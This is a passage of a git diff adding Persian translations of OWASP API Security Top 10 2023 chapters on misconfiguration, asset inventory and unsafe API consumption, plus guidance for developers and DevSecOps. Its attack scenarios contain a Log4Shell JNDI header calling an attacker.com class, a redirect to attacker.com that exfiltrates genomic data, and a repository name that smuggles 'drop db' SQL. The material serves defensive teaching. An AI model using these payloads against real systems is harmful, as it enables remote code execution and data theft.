جاوا) برای ثبت درخواست‌ها و دسترسی‌ها استفاده می‌کند. برای هر درخواست جدید، یک ورودی جدید با الگوی زیر ثبت می‌شود: `http / - ` یک عامل مخرب، درخواست API مشخصی را ارسال می‌کند که در فایل گزارش دسترسی نوشته می‌شود: + +```http +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +اگر مهاجم از یک سرور کنترل از راه دور برای اجرای یک کد مخرب با نام `Malicious.class` استفاده کرده و این کد را در سرآیند درخواست `X-Api-Version` قرار دهد، نرم‌افزار گزارش‌دهی، به دلیل تنظیمات پیش‌فرض ناامن خود، این کد مخرب را از سرور مهاجم دانلود کرده و اجرا می‌کند. + +### سناریو #2 + +یک وب‌سایت شبکه‌ی اجتماعی امکان ارسال "پیام مستقیم" را فراهم کرده که به کاربران امکان برقراری گفت‌وگوی خصوصی را می‌دهد. برای دریافت پیام‌های جدید در یک گفت‌وگو خاص، وب‌سایت درخواست API زیر را ارسال می‌کند (نیازی به تعامل کاربری نیست): + +```http +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +پاسخ API شامل هدر پاسخ `HTTP Cache-Control` نمی‌شود، به همین علت گفت‌وگوهای خصوصی در مرورگر وب ذخیره شده و به مهاجمان اجازه می‌دهد که آنها را از فایل‌های حافظه نهان مرورگر در فایل‌سیستم بازیابی کنند. + +## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟ + +چرخه حیات API بایستی شامل موارد زیر باشد: + +- فرایندی تکرار شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود. +- فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها در سراسر پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) را دربرگیرد. +- فرایندی خودکار جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده در سراسر محیط API و اپلیکیشن. + +بعلاوه: + +- حصول اطمینان از این که تمام ارتباطات API از سمت مشتری به سرور و هر کارکردهای دیگر روی یک کانال ارتباطی رمزنگاری شده (TLS) انجام می‌شود؛ بدون توجه به اینکه آیا این API داخلی است یا به صورت عمومی منتشر شده است. +- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده پاسخ می دهد و غیرفعال کردن سایر افعال (نظیر HEAD). +- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بر مرورگر (مثلا فرانت WebApp) باشد: + - بایستی خط مشی CORS مناسب را بکار گیرند. + - شامل سرآیندهای امنیتی قابل اجرا باشند. + - محتوا و فرمت‌ داده‌های ورودی را طوری محدود کنید که با نیازها و عملکرد کسب‌وکار سازگار باشند. +- برای جلوگیری از مشکلات عدم هماهنگی، مطمئن شوید که تمام سرورها در زنجیره سرورهای HTTP (مانند توازن بار، پروکسی‌های معکوس و پیشرو و back-end) درخواست‌های ورودی را به شیوه‌ای یکنواخت پردازش می‌کنند. +- در موارد قابل اجرا، تمام طرح‌های بارگیری پاسخ API تعریف و اعمال شود، از جمله پاسخ‌های خطا، تا از ارسال جزئیات اشتباه و اطلاعات مهم به مهاجمان جلوگیری گردد. +- برای همه پاسخ‌هایی که از API دریافت می‌شود، حتی پاسخ‌های شامل پیغام خطا، یک نقشه ساختاری دقیق تعریف شود. این اقدام باعث می‌شود که جزئیات خطاها و سایر اطلاعات حساس به مهاجمان ارسال نشود. + +## مراجع + +- [OWASP Secure Headers Project][1] +- [Configuration and Deployment Management Testing - Web Security Testing Guide][2] +- [Testing for Error Handling - Web Security Testing Guide][3] +- [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### خارجی + +- [CWE-2: Environmental Security Flaws][5] +- [CWE-16: Configuration][6] +- [CWE-209: Generation of Error Message Containing Sensitive Information][7] +- [CWE-319: Cleartext Transmission of Sensitive Information][8] +- [CWE-388: Error Handling][9] +- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')][10] +- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +- [Guide to General Server Security][12], NIST +- [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fa/0xa9-improper-inventory-management.md b/editions/2023/fa/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..fef59e61c --- /dev/null +++ b/editions/2023/fa/0xa9-improper-inventory-management.md @@ -0,0 +1,61 @@ +# API9:2023 مدیریت نادرست دارایی‌ها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار +| نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود در APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. در برخی موارد، ابزارهای یا تکنیک‌های نفوذ برای حمله به سیستم‌ها از قبل وجود دارند. در موارد دیگر، ممکن است مهاجمان از طریق یک شخص یا سازمان ثالث که هیچ دلیل قانونی برای به اشتراک گذاری اطلاعات با آن وجود ندارد، به اطلاعات حساس دسترسی یابند. | عدم بروزرسانی مستندات، شناسایی و رفع آسیب پذیری‌ها را دشوارتر می‌کند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دور خارج کردن نسخه‌های قدیمی منجر می‌شود تا سیستم های وصله نشده، مورد استفاده قرار گرفته و در نتیجه آن افشای اطلاعات رخ دهد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بصورت مستقل را تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به صورت غیرضروری در معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. استفاده از تکنیک‌هایی مانند Google Dorking، نقض DNS یا استفاده از موتورهای جستجوی ویژه برای انواع مختلف سرورها (دوربین‌های تحت شبکه، روترها، سرورها و غیره) متصل به اینترنت کافی خواهد بود تا مهاجم بتواند اهدافی را کشف کند. | مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سرور دسترسی یابد. گاهی اوقات نسخه‌ها یا پیاده‌سازی‌های مختلف API به پایگاه داده‌ای مشترک با داده‌های واقعی متصل هستند. عاملان تهدید ممکن است از endpointهای موجود در نسخه‌های قدیمی API برای دستیابی به توابع مدیریتی استفاده کرده و از آسیب‌پذیری‌های شناخته شده بهره‌برداری کنند. | + +## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟ + +طبیعت متصل و پراکنده API‌ها و برنامه‌های مدرن چالش‌های جدیدی را به دنبال دارد. سازمان‌ها علاوه بر داشتن درک دقیقی از API‌ها و endpoint های آن‌ها، باید چگونگی به اشتراک گذاری داده با شرکت‌ها یا اشخاص دیگر را درک کنند. این مسأله به امنیت و حفظ حریم خصوصی داده‌ها مرتبط بوده و نیازمند درک کامل و کنترل دقیق بر روی چگونگی استفاده از داده‌ها و اشتراک آن‌ها با سایر ارتباط‌گیرندگان است. +اجرای چندین نسخه از یک API نیازمند ارائه منابع مدیریتی اضافی می‌باشد که باید برای هر نسخه از API منابع و زیرساخت مجزا فراهم نموده و از نظر امنیتی بر هر کدام نظارت کرد. + +یک API در مستنداتش نقاط کور دارد اگر: + +- هدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد: + - API در چه محیطی در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات)؟ + - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ + - چه نسخه‌ای از API در حال اجرا است؟ + - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ + - جریان داده به چه صورت است؟ +- مستندی برای API وجود ندارد یا بروز نیست. +- برنامه‌ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد. +- فهرست میزبان‌ها وجود ندارد یا قدیمی است. + +داشتن دید و لیست‌بندی از چگونگی جریان اطلاعات حساس در سازمان و نحوه تبادل این اطلاعات با شخص‌ها یا سازمان‌های دیگر، نقش مهمی در برنامه واکنش به وقوع یک حادثه امنیتی دارد. این اهمیت به ویژه زمانی ظاهر می‌شود که یک نقض امنیتی از سوی شرکت یا سازمان سومی رخ دهد. + +یک API دارای نقطه کور در جریان داده است اگر: + +- API جریان داده حساسی را با طرف ثالث به اشتراک می‌گذارد و + - توجیه تجاری یا تأییدی برای این جریان وجود ندارد. + - موجودیت یا دیدگاهی از این جریان وجود ندارد. + - دیدگاه دقیقی از نوع داده حساسی که به اشتراک گذاشته می‌شود، وجود ندارد. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال درخواست برای جلوگیری از انجام حملات Brute Force توسط مهاجمین جهت حدس توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از کد API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (در www.socialnetwork.com) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (www.mbasic.beta.socialnetwork.com) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی دارد با این تفاوت که در آن هیچ مکانیزمی جهت محدودسازی نرخ درخواست تعبیه نشده است؛ در نتیح... + +### سناریو #2 + +توسعه‌دهندگان برنامه‌های مستقل می‌توانند با یک شبکه اجتماعی ادغام شوند. به عنوان بخشی از این فرآیند، اجازه‌نامه‌ای به کاربر نهایی ارائه می‌شود تا شبکه اجتماعی بتواند اطلاعات شخصی کاربران را با برنامه مستقل به اشتراک بگذارد. جریان داده بین شبکه اجتماعی و برنامه‌های مستقل، محدود نیست و نظارت کافی بر آن نمی‌شود. درنتیجه برنامه‌های مستقل به جز اطلاعات کاربر، به اطلاعات خصوصی تمام دوستان آن‌ها دسترسی پیدا می‌کنند. یک شرکت مشاوره، برنامه مخربی ایجاد کرده و توانسته از 270،000 کاربر اجازه‌ دسترسی به اطلاعاتشان ر... + +## چگونه از ‌آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟ + +- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بر محیط API (محیط تست، توسعه، اجرا یا عملیات)، افراد مجاز به دسترسی شبکه‌ای به میزبان (همه، افراد دخیل یا شرکا) و نسخه API مستند شود. +- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود. +- تمامی جنبه‌های API نظیر نحوه احراز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، خط مشی‌های اشتراک گذاری متقابل منابع (CORS) و نقاط پایانی یا توابع انتهایی (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند. +- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بطور خودکار انجام شده و این فرایند در CI/CD Pipeline تعبیه گردد. +- مستندات API در اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد. +- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های در معرض دید API (نه فقط نسخه فعلی) استفاده گردد. +- از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگر این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد. +- هنگامی که در نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز صورت پذیرد تا بتوان تصمیمات لازم در خصوص اقدامات جبرانی برای رفع مشکلات امنیتی نسخه‌های قدیمی‌تر را اتخاذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی را در نسخه‌های قدیمی نیز وارد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سرعت از دسترس خارج شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟ + +## مراجع + +### خارجی + +- [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..1c113caf6 --- /dev/null +++ b/editions/2023/fa/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,82 @@ +# API10:2023 استفاده ناایمن از APIها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار +| برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده را شناسایی کرده و به آنها نفوذ کند. این اطلاعات به صورت عمومی در دسترس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند. | توسعه‌دهندگان معمولا به endpointهای APIهای خارجی یا طرف ثالثی که در ارتباط هستند، اعتماد می‌کنند. آنها این تصور را دارند که الزامات امنیتی ضعیف‌تری مانند امنیت در انتقال اطلاعات، احراز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط را تامین می‌کند. مهاجمان باید خدماتی را که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها را مختل کرده یا به صورت غیرمجاز به آنها دسترسی پیدا کنند. | پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی دارد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اشخاص غیرمجاز شود. انواع مختلف حملاتی که در نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است رخ دهد مانند حملات تزریق‌ها یا DoD خواهد بود. | + +## آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟ + +توسعه‌دهندگان معمولاً به داده‌های دریافتی از API‌های طرف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای API‌های ارائه شده توسط شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری را در بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی اتخاذ می‌کنند. + +API‌ها ممکن است در معرض آسیب‌پذیری باشند اگر: + +- با سایر API ها از طریق یک کانال بدون رمزگذاری ارتباط برقرار کنند. +- داده‌های جمع‌آوری شده از دیگر API ها را قبل از پردازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند. +- محدودیتی در پاسخ‌دهی به درخواست‌های پی‌در‌پی نداشته باشند. +- تعداد منابع مورد نیاز برای پردازش پاسخ‌های سرویس‌های طرف ثالث را محدود نکنند. +- بازه زمانی محدود برای ارتباط با سرویس‌های طرف ثالث مشخص نکنند. + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در این سناریو، یک API از آدرس‌های کسب و کار یک سرویس طرف ثالث استفاده می‌کند. وقتی یک کاربر آدرسی را به API ارائه می‌دهد، آن آدرس به سرویس طرف ثالث ارسال شده و اطلاعات بازگشتی در یک پایگاه داده محلی SQL ذخیره می‌شود. اشخاص با نیت مخرب، از سرویس طرف ثالث برای ذخیره کردن کدهای تزریقSQL (SQLi) استفاده می‌کنند. سپس با بکارگیری API آسیب‌پذیر و درج ورودی‌های خاص، می‌تواند اطلاعات مرتبط با کسب و کار آلوده شده را از سرویس طرف ثالث دریافت کند. در نهایت، کدهای تزریق شده SQL از طریق پایگاه داده اجرا شده و توسط مهاجم به سرور کنترلی ارسال می‌شوند. این کار سبب می‌شود تا مهاجم به طور غیرمجاز اطلاعات را از دیتابیس بازیابی کرده و بر روی سرور خود کنترل کند. + +### سناریو #2 + +یک API با یک ارائه‌دهنده خدمات طرف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران را به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک درخواست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند: + +```http +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +مهاجمین با نیت مخرب، باعث می‌شوند که این سرویس به جای پاسخ معمولی به درخواست‌ها، پاسخ‌هایی با کد 308 Permanent Redirect ارسال کند. کد 308 به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران را به مکان دیگری منتقل کند. + +```http +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +در نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس طرف ثالث، به سروری تحت کنترل مهاجم، ارسال می‌شود. + +### سناریو #3 + +مهاجمی یک مخزن Git با نام `'; drop db;--` ایجاد می‌کند. وقتی اتصالی از برنامه تحت حمله با مخزن مخرب برقرار شود، برنامه نام مخزن را به عنوان یک ورودی امن در نظر می‌گیرد. + +## چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟ +--- +- **ارزیابی ارائه‌دهندگان خدمات**: هنگام انتخاب ارائه‌دهندگان خدمات طرف ثالث، امنیت API آنها را به دقت ارزیابی کرده و آن‌هایی را انتخاب کنید که دارای سابقه قوی در زمینه امنیت و حفاظت از داده‌ها هستند. +- **ارتباط امن**: اطمینان حاصل کنید که تمام تعاملات با API‌ها از طریق یک کانال ارتباطی امن (TLS) صورت می‌گیرد. این کار باعث می‌شود که داده‌ها در زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود. +- **اعتبارسنجی و تصفیه داده**: همیشه داده‌های دریافتی از API‌ها را اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند. +- **نگهداری لیست مجاز (Allowlist)**: یک لیست مجاز از مکان‌های شناخته‌شده‌ای که API‌ها ممکن است به آنها هدایت شوند را نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید. + +## مراجع + +### OWASP + +- [Web Service Security Cheat Sheet][1] +- [Injection Flaws][2] +- [Input Validation Cheat Sheet][3] +- [Injection Prevention Cheat Sheet][4] +- [Transport Layer Protection Cheat Sheet][5] +- [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### خارجی + +- [CWE-20: Improper Input Validation][7] +- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +- [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fa/0xb0-next-devs.md b/editions/2023/fa/0xb0-next-devs.md new file mode 100644 index 000000000..c438f5a14 --- /dev/null +++ b/editions/2023/fa/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# گام بعدی برای توسعه‌دهندگان + +وظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشوار باشد و APIها نیز از قضیه مستثنی نیستند. + +بر این باوریم که آموزش و آگاه سازی، گامی کلیدی در راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر در راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی دارد.** + +OWASP منابع آزاد و رایگان متعددی برای پاسخ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP][1] را ملاحظه نمایید. + +| | | +|-|-| +| **آموزش** | [Application Security Wayfinder][2] باید به شما دیدگاه خوبی در مورد پروژه‌هایی که در هر مرحله/فاز از چرخه عمر توسعه نرم‌افزار (SDLC) در دسترس هستند، بدهد. برای یادگیری و آموزش عملی، می‌توانید با [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] یا [OWASP Juice Shop][4] شروع کنید: هر دو عمداً دارای APIهای آسیب‌پذیر هستند. پروژه [OWASP Vulnerable Web Applications Directory Project][5] فهرستی گزینش‌شده از برنامه‌های کاربردی عمداً آسیب‌پذیر را ارائه می‌دهد که می‌توانید در آنجا چندین API آسیب‌پذیر دیگر نیز پیدا کنید. همچنین می‌توانید در جلسات آموزشی [کنفرانس OWASP AppSec][6] شرکت کنید، یا [به شعبه محلی خود بپیوندید][7]. | +| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر در تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. در هنگام استخراج الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)][8] را بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. در صورت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزار ایمن OWASP][9] (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. | +| **معماری امنیتی** | امنیت بایستی در تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP][10] نقطه شروع مناسبی برای چگونگی طراحی ایمن در خلال فاز طراحی معماری به شمار آید. همچنین [برگه راهنمای امنیت REST][11] و [برگه راهنمای ارزیابی REST][12] و همچنین [GraphQL Cheat Sheet][13] نیز گزینه‌‌های مناسبی در این راستا هستند. | +| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی در خلال ایجاد برنامه‌‌ها با منطق سازمانی را کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توکار و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP][14] دید خوبی از کنترل‌‌هایی که باید در پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله در حوزه کنترل‌‌های اعتبارسنجی در اختیار عموم قرار می‌دهد که می‌توانند مفید باشند. | +| **چرخه حیات توسعه نرم افزار ایمن** | به منظور بهبود فرایندها در هنگام ایجاد و ساخت APIها می‌توان از [مدل ضمانت کمال نرم افزار OWASP (SAMM)][15] بهره برد. همچنین پروژه‌‌های متعدد دیگری نیز در OWASP وجود دارند که می‌توانند در فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی کد OWASP][16] را نام برد. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fa/0xb1-next-devsecops.md b/editions/2023/fa/0xb1-next-devsecops.md new file mode 100644 index 000000000..fc1856695 --- /dev/null +++ b/editions/2023/fa/0xb1-next-devsecops.md @@ -0,0 +1,21 @@ +# گام بعدی برای DevSecOps + +با توجه به اهمیت APIها در معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت را نمی‌توان نادیده گرفت و باید آن را جزئی از کل چرخه توسعه اپلیکیشن در نظر گرفت. انجام اسکن و تست‌ نفوذ، آن هم به صورت سالیانه به هیچ عنوان کافی نمی‌باشد. + +باید به فرایند توسعه DevSecOps افزوده شده و در تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم را تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی در جهت بهبود فرایند تولید نرم افزار بوده به شکلی که تاثیری بر سرعت توسعه نداشته باشد. اگر شک دارید، [مانیفست DevSecOps][1] را بررسی کنید تا در جریان باشید. + +| | | +|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| درک مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگر شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)][2] و [OWASP Testing Guide][3] به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باعث شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. | +| درک چرخه توسعه نرم افزار | تیم توسعه را به فرایند اضافه کنید تا آنها نیز درک بهتری از چرخه توسعه نرم افزار پیدا کنند. مشارکت شما در انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اصطکاک و مقاومتی وجود نداشته باشد. | +| راهبرد انجام تست | با توجه به اینکه کار شما نباید تاثیری بر سرعت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ را برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework][4] و [OWASP Application Security Verification Standard][2] می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع خوب دیگری از [پروژه‌ها][5] و [ابزارها][6] مشابه با مواردی که توسط [DevSecOps community][7] پیشنهاد می‌شود، وجود دارد. | +| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بر روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به صورت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی کار کنید تا بتوانید زمان و تلاش‌تان را بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به صورت مداوم بررسی شوند، هدف گذاری کنید. | +| به وضوح یافته‌‌‌ها را به اشتراک بگذارید | با کمترین اصطکاک یا بدون اصطکاک مشارکت داشته باشید. یافته‌‌ها را در بازه زمانی مشخص و در قالب ابزارهای مورد استفاده توسط تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها را به آن‌ها نشان دهید. از این فرصت برای آموزش آنها استفاده کنید، به صورت شفاف در مورد نقطه ضعف و روش‌های سوء استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر برسد. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: https://www.devsecops.org/ diff --git a/editions/2023/fa/0xd0-about-data.md b/editions/2023/fa/0xd0-about-data.md new file mode 100644 index 000000000..f416c096a --- /dev/null +++ b/editions/2023/fa/0xd0-about-data.md @@ -0,0 +1,25 @@ +# متدلوژی و داده + +## بررسی اجمالی +در تهیه این فهرست، تیم امنیت OWASP API از روش مشابهی که برای ایجاد لیست مشهور و پرطرفدار سال 